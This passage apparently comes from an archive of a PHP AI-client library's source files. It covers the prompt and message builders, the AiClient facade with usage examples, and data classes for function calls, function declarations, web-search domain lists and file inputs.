empty array.'); } $parts = []; foreach ($input as $item) { if (is_string($item)) { $parts[] = new MessagePart($item); } elseif ($item instanceof MessagePart) { $parts[] = $item; } elseif (is_array($item) && MessagePart::isArrayShape($item)) { $parts[] = MessagePart::fromArray($item); } else { throw new InvalidArgumentException('Array items must be strings, MessagePart instances, or MessagePartArrayShape.'); } } return new Message($defaultRole, $parts); } /** * Validates the messages array for prompt generation. * * Ensures that: * - The first message is a user message * - The last message is a user message * - The last message has parts * * @since 0.1.0 * * @return void * @throws InvalidArgumentException If validation fails. */ private function validateMessages(): void { if (empty($this->messages)) { throw new InvalidArgumentException('Cannot generate from an empty prompt. Add content using withText() or similar methods.'); } $firstMessage = reset($this->messages); if (!$firstMessage->getRole()->isUser()) { throw new InvalidArgumentException('The first message must be from a user role, not from ' . $firstMessage->getRole()->value); } $lastMessage = end($this->messages); if (!$lastMessage->getRole()->isUser()) { throw new InvalidArgumentException('The last message must be from a user role, not from ' . $lastMessage->getRole()->value); } if (empty($lastMessage->getParts())) { throw new InvalidArgumentException('The last message must have content parts. Add content using withText() or similar methods.'); } } /** * Checks if the value is a list of Message objects. * * @since 0.1.0 * * @param mixed $value The value to check. * @return bool True if the value is a list of Message objects. * * @phpstan-assert-if-true list $value */ private function isMessagesList($value): bool { if (!is_array($value) || empty($value) || !array_is_list($value)) { return \false; } // Check if all items are Messages foreach ($value as $item) { if (!$item instanceof Message) { return \false; } } return \true; } /** * Includes output modalities if not already present. * * Adds the given modalities to the output modalities list if they're not * already included. If output modalities is null, initializes it with * the given modalities. * * @since 0.1.0 * * @param ModalityEnum ...$modalities The modalities to include. * @return void */ private function includeOutputModalities(ModalityEnum ...$modalities): void { $existing = $this->modelConfig->getOutputModalities(); // Initialize if null if ($existing === null) { $this->modelConfig->setOutputModalities($modalities); return; } // Build a set of existing modality values for O(1) lookup $existingValues = []; foreach ($existing as $existingModality) { $existingValues[$existingModality->value] = \true; } // Add new modalities that don't exist $toAdd = []; foreach ($modalities as $modality) { if (!isset($existingValues[$modality->value])) { $toAdd[] = $modality; } } // Update if we have new modalities to add if (!empty($toAdd)) { $this->modelConfig->setOutputModalities(array_merge($existing, $toAdd)); } } /** * Dispatches an event if an event dispatcher is registered. * * @since 0.4.0 * * @param object $event The event to dispatch. * @return void */ private function dispatchEvent(object $event): void { if ($this->eventDispatcher !== null) { $this->eventDispatcher->dispatch($event); } } } Builders/MessageBuilder.php000064400000014672152076731270011745 0ustar00 The parts that make up the message. */ protected array $parts = []; /** * Constructor. * * @since 0.2.0 * * @param Input $input Optional initial content. * @param MessageRoleEnum|null $role Optional role. */ public function __construct($input = null, ?MessageRoleEnum $role = null) { $this->role = $role; if ($input === null) { return; } // Handle different input types if ($input instanceof MessagePart) { $this->parts[] = $input; } elseif (is_string($input)) { $this->withText($input); } elseif ($input instanceof File) { $this->withFile($input); } elseif ($input instanceof FunctionCall) { $this->withFunctionCall($input); } elseif ($input instanceof FunctionResponse) { $this->withFunctionResponse($input); } elseif (is_array($input) && MessagePart::isArrayShape($input)) { $this->parts[] = MessagePart::fromArray($input); } else { throw new InvalidArgumentException('Input must be a string, MessagePart, MessagePartArrayShape, File, FunctionCall, or FunctionResponse.'); } } /** * Creates a deep clone of this builder. * * Clones all MessagePart objects in the parts array to ensure * the cloned builder is independent of the original. * * @since 0.4.2 */ public function __clone() { // Deep clone parts array (MessagePart has __clone) $clonedParts = []; foreach ($this->parts as $part) { $clonedParts[] = clone $part; } $this->parts = $clonedParts; // Note: $role is an enum value object and can be safely shared } /** * Sets the role of the message sender. * * @since 0.2.0 * * @param MessageRoleEnum $role The role to set. * @return self */ public function usingRole(MessageRoleEnum $role): self { $this->role = $role; return $this; } /** * Sets the role to user. * * @since 0.2.0 * * @return self */ public function usingUserRole(): self { return $this->usingRole(MessageRoleEnum::user()); } /** * Sets the role to model. * * @since 0.2.0 * * @return self */ public function usingModelRole(): self { return $this->usingRole(MessageRoleEnum::model()); } /** * Adds text content to the message. * * @since 0.2.0 * * @param string $text The text to add. * @return self * @throws InvalidArgumentException If the text is empty. */ public function withText(string $text): self { if (trim($text) === '') { throw new InvalidArgumentException('Text content cannot be empty.'); } $this->parts[] = new MessagePart($text); return $this; } /** * Adds a file to the message. * * Accepts: * - File object * - URL string (remote file) * - Base64-encoded data string * - Data URI string (data:mime/type;base64,data) * - Local file path string * * @since 0.2.0 * * @param string|File $file The file to add. * @param string|null $mimeType Optional MIME type (ignored if File object provided). * @return self * @throws InvalidArgumentException If the file is invalid. */ public function withFile($file, ?string $mimeType = null): self { $file = $file instanceof File ? $file : new File($file, $mimeType); $this->parts[] = new MessagePart($file); return $this; } /** * Adds a function call to the message. * * @since 0.2.0 * * @param FunctionCall $functionCall The function call to add. * @return self */ public function withFunctionCall(FunctionCall $functionCall): self { $this->parts[] = new MessagePart($functionCall); return $this; } /** * Adds a function response to the message. * * @since 0.2.0 * * @param FunctionResponse $functionResponse The function response to add. * @return self */ public function withFunctionResponse(FunctionResponse $functionResponse): self { $this->parts[] = new MessagePart($functionResponse); return $this; } /** * Adds multiple message parts to the message. * * @since 0.2.0 * * @param MessagePart ...$parts The message parts to add. * @return self */ public function withMessageParts(MessagePart ...$parts): self { foreach ($parts as $part) { $this->parts[] = $part; } return $this; } /** * Builds and returns the Message object. * * @since 0.2.0 * * @return Message The built message. * @throws InvalidArgumentException If the message validation fails. */ public function get(): Message { if (empty($this->parts)) { throw new InvalidArgumentException('Cannot build an empty message. Add content using withText() or similar methods.'); } if ($this->role === null) { throw new InvalidArgumentException('Cannot build a message with no role. Set a role using usingRole() or similar methods.'); } // At this point, we've validated that $this->role is not null /** @var MessageRoleEnum $role */ $role = $this->role; return new Message($role, $this->parts); } } AiClient.php000064400000041720152076731270006763 0ustar00getProvider('openai')->getModel('gpt-4'); * $result = AiClient::generateTextResult('What is PHP?', $model); * ``` * * ### 2. ModelConfig for Auto-Discovery * Use ModelConfig to specify requirements and let the system discover the best model: * ```php * $config = new ModelConfig(); * $config->setTemperature(0.7); * $config->setMaxTokens(150); * * $result = AiClient::generateTextResult('What is PHP?', $config); * ``` * * ### 3. Automatic Discovery (Default) * Pass null or omit the parameter for intelligent model discovery based on prompt content: * ```php * // System analyzes prompt and selects appropriate model automatically * $result = AiClient::generateTextResult('What is PHP?'); * $imageResult = AiClient::generateImageResult('A sunset over mountains'); * ``` * * ## Fluent API Examples * ```php * // Fluent API with automatic model discovery * $result = AiClient::prompt('Generate an image of a sunset') * ->usingTemperature(0.7) * ->generateImageResult(); * * // Fluent API with specific model * $result = AiClient::prompt('What is PHP?') * ->usingModel($specificModel) * ->usingTemperature(0.5) * ->generateTextResult(); * * // Fluent API with model configuration * $result = AiClient::prompt('Explain quantum physics') * ->usingModelConfig($config) * ->generateTextResult(); * ``` * * @since 0.1.0 * * @phpstan-import-type Prompt from PromptBuilder * * phpcs:ignore Generic.Files.LineLength.TooLong */ class AiClient { /** * @var string The version of the AI Client. */ public const VERSION = '1.3.1'; /** * @var ProviderRegistry|null The default provider registry instance. */ private static ?ProviderRegistry $defaultRegistry = null; /** * @var EventDispatcherInterface|null The event dispatcher for prompt lifecycle events. */ private static ?EventDispatcherInterface $eventDispatcher = null; /** * @var CacheInterface|null The PSR-16 cache for storing and retrieving cached data. */ private static ?CacheInterface $cache = null; /** * Gets the default provider registry instance. * * @since 0.1.0 * * @return ProviderRegistry The default provider registry. */ public static function defaultRegistry(): ProviderRegistry { if (self::$defaultRegistry === null) { self::$defaultRegistry = new ProviderRegistry(); } return self::$defaultRegistry; } /** * Sets the event dispatcher for prompt lifecycle events. * * The event dispatcher will be used to dispatch BeforeGenerateResultEvent and * AfterGenerateResultEvent during prompt generation. * * @since 0.4.0 * * @param EventDispatcherInterface|null $dispatcher The event dispatcher, or null to disable. * @return void */ public static function setEventDispatcher(?EventDispatcherInterface $dispatcher): void { self::$eventDispatcher = $dispatcher; } /** * Gets the event dispatcher for prompt lifecycle events. * * @since 0.4.0 * * @return EventDispatcherInterface|null The event dispatcher, or null if not set. */ public static function getEventDispatcher(): ?EventDispatcherInterface { return self::$eventDispatcher; } /** * Sets the PSR-16 cache for storing and retrieving cached data. * * The cache can be used to store AI responses and other data to avoid * redundant API calls and improve performance. * * @since 0.4.0 * * @param CacheInterface|null $cache The PSR-16 cache instance, or null to disable caching. * @return void */ public static function setCache(?CacheInterface $cache): void { self::$cache = $cache; } /** * Gets the PSR-16 cache instance. * * @since 0.4.0 * * @return CacheInterface|null The cache instance, or null if not set. */ public static function getCache(): ?CacheInterface { return self::$cache; } /** * Checks if a provider is configured and available for use. * * Supports multiple input formats for developer convenience: * - ProviderAvailabilityInterface: Direct availability check * - string (provider ID): e.g., AiClient::isConfigured('openai') * - string (class name): e.g., AiClient::isConfigured(OpenAiProvider::class) * * When using string input, this method leverages the ProviderRegistry's centralized * dependency management, ensuring HttpTransporter and authentication are properly * injected into availability instances. * * @since 0.1.0 * @since 0.2.0 Now supports being passed a provider ID or class name. * * @param ProviderAvailabilityInterface|string|class-string $availabilityOrIdOrClassName * The provider availability instance, provider ID, or provider class name. * @return bool True if the provider is configured and available, false otherwise. */ public static function isConfigured($availabilityOrIdOrClassName): bool { // Handle direct ProviderAvailabilityInterface (backward compatibility) if ($availabilityOrIdOrClassName instanceof ProviderAvailabilityInterface) { return $availabilityOrIdOrClassName->isConfigured(); } // Handle string input (provider ID or class name) via registry if (is_string($availabilityOrIdOrClassName)) { return self::defaultRegistry()->isProviderConfigured($availabilityOrIdOrClassName); } throw new \InvalidArgumentException('Parameter must be a ProviderAvailabilityInterface instance, provider ID string, or provider class name. ' . sprintf('Received: %s', is_object($availabilityOrIdOrClassName) ? get_class($availabilityOrIdOrClassName) : gettype($availabilityOrIdOrClassName))); } /** * Creates a new prompt builder for fluent API usage. * * Returns a PromptBuilder instance configured with the specified or default registry. * The traditional API methods in this class delegate to PromptBuilder * for all generation logic. * * @since 0.1.0 * * @param Prompt $prompt Optional initial prompt content. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return PromptBuilder The prompt builder instance. */ public static function prompt($prompt = null, ?ProviderRegistry $registry = null): PromptBuilder { return new PromptBuilder($registry ?? self::defaultRegistry(), $prompt, self::$eventDispatcher); } /** * Generates content using a unified API that automatically detects model capabilities. * * When no model is provided, this method delegates to PromptBuilder for intelligent * model discovery based on prompt content and configuration. When a model is provided, * it infers the capability from the model's interfaces and delegates to the capability-based method. * * @since 0.1.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig $modelOrConfig Specific model to use, or model configuration * for auto-discovery. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the provided model doesn't support any known generation type. * @throws \RuntimeException If no suitable model can be found for the prompt. */ public static function generateResult($prompt, $modelOrConfig, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateResult(); } /** * Generates text using the traditional API approach. * * @since 0.1.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use, * or model configuration for auto-discovery, * or null for defaults. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the prompt format is invalid. * @throws \RuntimeException If no suitable model is found. */ public static function generateTextResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateTextResult(); } /** * Generates an image using the traditional API approach. * * @since 0.1.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use, * or model configuration for auto-discovery, * or null for defaults. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the prompt format is invalid. * @throws \RuntimeException If no suitable model is found. */ public static function generateImageResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateImageResult(); } /** * Converts text to speech using the traditional API approach. * * @since 0.1.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use, * or model configuration for auto-discovery, * or null for defaults. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the prompt format is invalid. * @throws \RuntimeException If no suitable model is found. */ public static function convertTextToSpeechResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->convertTextToSpeechResult(); } /** * Generates speech using the traditional API approach. * * @since 0.1.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use, * or model configuration for auto-discovery, * or null for defaults. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the prompt format is invalid. * @throws \RuntimeException If no suitable model is found. */ public static function generateSpeechResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateSpeechResult(); } /** * Generates a video using the traditional API approach. * * @since 1.3.0 * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig Optional specific model to use, * or model configuration for auto-discovery, * or null for defaults. * @param ProviderRegistry|null $registry Optional custom registry. If null, uses default. * @return GenerativeAiResult The generation result. * * @throws \InvalidArgumentException If the prompt format is invalid. * @throws \RuntimeException If no suitable model is found. */ public static function generateVideoResult($prompt, $modelOrConfig = null, ?ProviderRegistry $registry = null): GenerativeAiResult { self::validateModelOrConfigParameter($modelOrConfig); return self::getConfiguredPromptBuilder($prompt, $modelOrConfig, $registry)->generateVideoResult(); } /** * Creates a new message builder for fluent API usage. * * This method will be implemented once MessageBuilder is available. * MessageBuilder will provide a fluent interface for constructing complex * messages with multiple parts, attachments, and metadata. * * @since 0.1.0 * * @param string|null $text Optional initial message text. * @return object MessageBuilder instance (type will be updated when MessageBuilder is available). * * @throws \RuntimeException When MessageBuilder is not yet available. */ public static function message(?string $text = null) { throw new RuntimeException('MessageBuilder is not yet available. This method depends on builder infrastructure. ' . 'Use direct generation methods (generateTextResult, generateImageResult, etc.) for now.'); } /** * Validates that parameter is ModelInterface, ModelConfig, or null. * * @param mixed $modelOrConfig The parameter to validate. * @return void * @throws \InvalidArgumentException If parameter is invalid type. */ private static function validateModelOrConfigParameter($modelOrConfig): void { if ($modelOrConfig !== null && !$modelOrConfig instanceof ModelInterface && !$modelOrConfig instanceof ModelConfig) { throw new InvalidArgumentException('Parameter must be a ModelInterface instance (specific model), ' . 'ModelConfig instance (for auto-discovery), or null (default auto-discovery). ' . sprintf('Received: %s', is_object($modelOrConfig) ? get_class($modelOrConfig) : gettype($modelOrConfig))); } } /** * Configures PromptBuilder based on model/config parameter type. * * @param Prompt $prompt The prompt content. * @param ModelInterface|ModelConfig|null $modelOrConfig The model or config parameter. * @param ProviderRegistry|null $registry Optional custom registry to use. * @return PromptBuilder Configured prompt builder. */ private static function getConfiguredPromptBuilder($prompt, $modelOrConfig, ?ProviderRegistry $registry = null): PromptBuilder { $builder = self::prompt($prompt, $registry); if ($modelOrConfig instanceof ModelInterface) { $builder->usingModel($modelOrConfig); } elseif ($modelOrConfig instanceof ModelConfig) { $builder->usingModelConfig($modelOrConfig); } // null case: use default model discovery return $builder; } } Tools/DTO/FunctionResponse.php000064400000007313152076731270012325 0ustar00 */ class FunctionResponse extends AbstractDataTransferObject { public const KEY_ID = 'id'; public const KEY_NAME = 'name'; public const KEY_RESPONSE = 'response'; /** * @var string|null The ID of the function call this is responding to. */ private ?string $id; /** * @var string|null The name of the function that was called. */ private ?string $name; /** * @var mixed The response data from the function. */ private $response; /** * Constructor. * * @since 0.1.0 * * @param string|null $id The ID of the function call this is responding to. * @param string|null $name The name of the function that was called. * @param mixed $response The response data from the function. * @throws InvalidArgumentException If neither id nor name is provided. */ public function __construct(?string $id, ?string $name, $response) { if ($id === null && $name === null) { throw new InvalidArgumentException('At least one of id or name must be provided.'); } $this->id = $id; $this->name = $name; $this->response = $response; } /** * Gets the function call ID. * * @since 0.1.0 * * @return string|null The function call ID. */ public function getId(): ?string { return $this->id; } /** * Gets the function name. * * @since 0.1.0 * * @return string|null The function name. */ public function getName(): ?string { return $this->name; } /** * Gets the function response. * * @since 0.1.0 * * @return mixed The response data. */ public function getResponse() { return $this->response; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The ID of the function call this is responding to.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function that was called.'], self::KEY_RESPONSE => ['type' => ['string', 'number', 'boolean', 'object', 'array', 'null'], 'description' => 'The response data from the function.']], 'anyOf' => [['required' => [self::KEY_RESPONSE, self::KEY_ID]], ['required' => [self::KEY_RESPONSE, self::KEY_NAME]]]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return FunctionResponseArrayShape */ public function toArray(): array { $data = []; if ($this->id !== null) { $data[self::KEY_ID] = $this->id; } if ($this->name !== null) { $data[self::KEY_NAME] = $this->name; } $data[self::KEY_RESPONSE] = $this->response; return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_RESPONSE]); return new self($array[self::KEY_ID] ?? null, $array[self::KEY_NAME] ?? null, $array[self::KEY_RESPONSE]); } } Tools/DTO/FunctionCall.php000064400000007133152076731270011402 0ustar00 */ class FunctionCall extends AbstractDataTransferObject { public const KEY_ID = 'id'; public const KEY_NAME = 'name'; public const KEY_ARGS = 'args'; /** * @var string|null Unique identifier for this function call. */ private ?string $id; /** * @var string|null The name of the function to call. */ private ?string $name; /** * @var mixed The arguments to pass to the function. */ private $args; /** * Constructor. * * @since 0.1.0 * * @param string|null $id Unique identifier for this function call. * @param string|null $name The name of the function to call. * @param mixed $args The arguments to pass to the function. * @throws InvalidArgumentException If neither id nor name is provided. */ public function __construct(?string $id = null, ?string $name = null, $args = null) { if ($id === null && $name === null) { throw new InvalidArgumentException('At least one of id or name must be provided.'); } $this->id = $id; $this->name = $name; $this->args = $args; } /** * Gets the function call ID. * * @since 0.1.0 * * @return string|null The function call ID. */ public function getId(): ?string { return $this->id; } /** * Gets the function name. * * @since 0.1.0 * * @return string|null The function name. */ public function getName(): ?string { return $this->name; } /** * Gets the function arguments. * * @since 0.1.0 * * @return mixed The function arguments. */ public function getArgs() { return $this->args; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this function call.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function to call.'], self::KEY_ARGS => ['type' => ['string', 'number', 'boolean', 'object', 'array', 'null'], 'description' => 'The arguments to pass to the function.']], 'anyOf' => [['required' => [self::KEY_ID]], ['required' => [self::KEY_NAME]]]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return FunctionCallArrayShape */ public function toArray(): array { $data = []; if ($this->id !== null) { $data[self::KEY_ID] = $this->id; } if ($this->name !== null) { $data[self::KEY_NAME] = $this->name; } if ($this->args !== null) { $data[self::KEY_ARGS] = $this->args; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { return new self($array[self::KEY_ID] ?? null, $array[self::KEY_NAME] ?? null, $array[self::KEY_ARGS] ?? null); } } Tools/DTO/FunctionDeclaration.php000064400000007005152076731270012752 0ustar00 * } * * @extends AbstractDataTransferObject */ class FunctionDeclaration extends AbstractDataTransferObject { public const KEY_NAME = 'name'; public const KEY_DESCRIPTION = 'description'; public const KEY_PARAMETERS = 'parameters'; /** * @var string The name of the function. */ private string $name; /** * @var string A description of what the function does. */ private string $description; /** * @var array|null The JSON schema for the function parameters. */ private ?array $parameters; /** * Constructor. * * @since 0.1.0 * * @param string $name The name of the function. * @param string $description A description of what the function does. * @param array|null $parameters The JSON schema for the function parameters. */ public function __construct(string $name, string $description, ?array $parameters = null) { $this->name = $name; $this->description = $description; $this->parameters = $parameters; } /** * Gets the function name. * * @since 0.1.0 * * @return string The function name. */ public function getName(): string { return $this->name; } /** * Gets the function description. * * @since 0.1.0 * * @return string The function description. */ public function getDescription(): string { return $this->description; } /** * Gets the function parameters schema. * * @since 0.1.0 * * @return array|null The parameters schema. */ public function getParameters(): ?array { return $this->parameters; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function.'], self::KEY_DESCRIPTION => ['type' => 'string', 'description' => 'A description of what the function does.'], self::KEY_PARAMETERS => ['type' => 'object', 'description' => 'The JSON schema for the function parameters.', 'additionalProperties' => \true]], 'required' => [self::KEY_NAME, self::KEY_DESCRIPTION]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return FunctionDeclarationArrayShape */ public function toArray(): array { $data = [self::KEY_NAME => $this->name, self::KEY_DESCRIPTION => $this->description]; if ($this->parameters !== null) { $data[self::KEY_PARAMETERS] = $this->parameters; } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_NAME, self::KEY_DESCRIPTION]); return new self($array[self::KEY_NAME], $array[self::KEY_DESCRIPTION], $array[self::KEY_PARAMETERS] ?? null); } } Tools/DTO/WebSearch.php000064400000005502152076731270010662 0ustar00 */ class WebSearch extends AbstractDataTransferObject { public const KEY_ALLOWED_DOMAINS = 'allowedDomains'; public const KEY_DISALLOWED_DOMAINS = 'disallowedDomains'; /** * @var string[] List of domains that are allowed for web search. */ private array $allowedDomains; /** * @var string[] List of domains that are disallowed for web search. */ private array $disallowedDomains; /** * Constructor. * * @since 0.1.0 * * @param string[] $allowedDomains List of domains that are allowed for web search. * @param string[] $disallowedDomains List of domains that are disallowed for web search. */ public function __construct(array $allowedDomains = [], array $disallowedDomains = []) { $this->allowedDomains = $allowedDomains; $this->disallowedDomains = $disallowedDomains; } /** * Gets the allowed domains. * * @since 0.1.0 * * @return string[] The allowed domains. */ public function getAllowedDomains(): array { return $this->allowedDomains; } /** * Gets the disallowed domains. * * @since 0.1.0 * * @return string[] The disallowed domains. */ public function getDisallowedDomains(): array { return $this->disallowedDomains; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ALLOWED_DOMAINS => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'List of domains that are allowed for web search.'], self::KEY_DISALLOWED_DOMAINS => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'List of domains that are disallowed for web search.']], 'required' => []]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return WebSearchArrayShape */ public function toArray(): array { return [self::KEY_ALLOWED_DOMAINS => $this->allowedDomains, self::KEY_DISALLOWED_DOMAINS => $this->disallowedDomains]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { return new self($array[self::KEY_ALLOWED_DOMAINS] ?? [], $array[self::KEY_DISALLOWED_DOMAINS] ?? []); } } Files/DTO/File.php000064400000032326152076731270007644 0ustar00 */ class File extends AbstractDataTransferObject { public const KEY_FILE_TYPE = 'fileType'; public const KEY_MIME_TYPE = 'mimeType'; public const KEY_URL = 'url'; public const KEY_BASE64_DATA = 'base64Data'; /** * @var MimeType The MIME type of the file. */ private MimeType $mimeType; /** * @var FileTypeEnum The type of file storage. */ private FileTypeEnum $fileType; /** * @var string|null The URL for remote files. */ private ?string $url = null; /** * @var string|null The base64 data for inline files. */ private ?string $base64Data = null; /** * Constructor. * * @since 0.1.0 * * @param string $file The file string (URL, base64 data, or local path). * @param string|null $mimeType The MIME type of the file (optional). * @throws InvalidArgumentException If the file format is invalid or MIME type cannot be determined. */ public function __construct(string $file, ?string $mimeType = null) { // Detect and process the file type (will set MIME type if possible) $this->detectAndProcessFile($file, $mimeType); } /** * Detects the file type and processes it accordingly. * * @since 0.1.0 * * @param string $file The file string to process. * @param string|null $providedMimeType The explicitly provided MIME type. * @throws InvalidArgumentException If the file format is invalid or MIME type cannot be determined. */ private function detectAndProcessFile(string $file, ?string $providedMimeType): void { // Check if it's a URL if ($this->isUrl($file)) { $this->fileType = FileTypeEnum::remote(); $this->url = $file; $this->mimeType = $this->determineMimeType($providedMimeType, null, $file); return; } // Data URI pattern. $dataUriPattern = '/^data:(?:([a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*' . '(?:;[a-zA-Z0-9\-]+=[a-zA-Z0-9\-]+)*)?;)?base64,([A-Za-z0-9+\/]*={0,2})$/'; // Check if it's a data URI. if (preg_match($dataUriPattern, $file, $matches)) { $this->fileType = FileTypeEnum::inline(); $this->base64Data = $matches[2]; // Extract just the base64 data $extractedMimeType = empty($matches[1]) ? null : $matches[1]; $this->mimeType = $this->determineMimeType($providedMimeType, $extractedMimeType, null); return; } // Check if it's a local file path (before base64 check) if (file_exists($file) && is_file($file)) { $this->fileType = FileTypeEnum::inline(); $this->base64Data = $this->convertFileToBase64($file); $this->mimeType = $this->determineMimeType($providedMimeType, null, $file); return; } // Check if it's plain base64 if (preg_match('/^[A-Za-z0-9+\/]*={0,2}$/', $file)) { if ($providedMimeType === null) { throw new InvalidArgumentException('MIME type is required when providing plain base64 data without data URI format.'); } $this->fileType = FileTypeEnum::inline(); $this->base64Data = $file; $this->mimeType = new MimeType($providedMimeType); return; } throw new InvalidArgumentException('Invalid file provided. Expected URL, base64 data, or valid local file path.'); } /** * Checks if a string is a valid URL. * * @since 0.1.0 * * @param string $string The string to check. * @return bool True if the string is a URL. */ private function isUrl(string $string): bool { return filter_var($string, \FILTER_VALIDATE_URL) !== \false && preg_match('/^https?:\/\//i', $string); } /** * Converts a local file to base64. * * @since 0.1.0 * * @param string $filePath The path to the local file. * @return string The base64-encoded file data. * @throws RuntimeException If the file cannot be read. */ private function convertFileToBase64(string $filePath): string { $fileContent = @file_get_contents($filePath); if ($fileContent === \false) { throw new RuntimeException(sprintf('Unable to read file: %s', $filePath)); } return base64_encode($fileContent); } /** * Gets the file type. * * @since 0.1.0 * * @return FileTypeEnum The file type. */ public function getFileType(): FileTypeEnum { return $this->fileType; } /** * Checks if the file is an inline file. * * @since 0.1.0 * * @return bool True if the file is inline (base64/data URI). */ public function isInline(): bool { return $this->fileType->isInline(); } /** * Checks if the file is a remote file. * * @since 0.1.0 * * @return bool True if the file is remote (URL). */ public function isRemote(): bool { return $this->fileType->isRemote(); } /** * Gets the URL for remote files. * * @since 0.1.0 * * @return string|null The URL, or null if not a remote file. */ public function getUrl(): ?string { return $this->url; } /** * Gets the base64-encoded data for inline files. * * @since 0.1.0 * * @return string|null The plain base64-encoded data (without data URI prefix), or null if not an inline file. */ public function getBase64Data(): ?string { return $this->base64Data; } /** * Gets the data as a data URI for inline files. * * @since 0.1.0 * * @return string|null The data URI in format: data:[mimeType];base64,[data], or null if not an inline file. */ public function getDataUri(): ?string { if ($this->base64Data === null) { return null; } return sprintf('data:%s;base64,%s', $this->getMimeType(), $this->base64Data); } /** * Gets the MIME type of the file as a string. * * @since 0.1.0 * * @return string The MIME type string value. */ public function getMimeType(): string { return (string) $this->mimeType; } /** * Gets the MIME type object. * * @since 0.1.0 * * @return MimeType The MIME type object. */ public function getMimeTypeObject(): MimeType { return $this->mimeType; } /** * Checks if the file is a video. * * @since 0.1.0 * * @return bool True if the file is a video. */ public function isVideo(): bool { return $this->mimeType->isVideo(); } /** * Checks if the file is an image. * * @since 0.1.0 * * @return bool True if the file is an image. */ public function isImage(): bool { return $this->mimeType->isImage(); } /** * Checks if the file is audio. * * @since 0.1.0 * * @return bool True if the file is audio. */ public function isAudio(): bool { return $this->mimeType->isAudio(); } /** * Checks if the file is text. * * @since 0.1.0 * * @return bool True if the file is text. */ public function isText(): bool { return $this->mimeType->isText(); } /** * Checks if the file is a document. * * @since 0.1.0 * * @return bool True if the file is a document. */ public function isDocument(): bool { return $this->mimeType->isDocument(); } /** * Checks if the file is a specific MIME type. * * @since 0.1.0 * * @param string $type The mime type to check (e.g. 'image', 'text', 'video', 'audio'). * * @return bool True if the file is of the specified type. */ public function isMimeType(string $type): bool { return $this->mimeType->isType($type); } /** * Determines the MIME type from various sources. * * @since 0.1.0 * * @param string|null $providedMimeType The explicitly provided MIME type. * @param string|null $extractedMimeType The MIME type extracted from data URI. * @param string|null $pathOrUrl The file path or URL to extract extension from. * @return MimeType The determined MIME type. * @throws InvalidArgumentException If MIME type cannot be determined. */ private function determineMimeType(?string $providedMimeType, ?string $extractedMimeType, ?string $pathOrUrl): MimeType { // Prefer explicitly provided MIME type if ($providedMimeType !== null) { return new MimeType($providedMimeType); } // Use extracted MIME type from data URI if ($extractedMimeType !== null) { return new MimeType($extractedMimeType); } // Try to determine from file extension if ($pathOrUrl !== null) { $parsedUrl = parse_url($pathOrUrl); $path = $parsedUrl['path'] ?? $pathOrUrl; // Remove query string and fragment if present $cleanPath = strtok($path, '?#'); if ($cleanPath === \false) { $cleanPath = $path; } $extension = pathinfo($cleanPath, 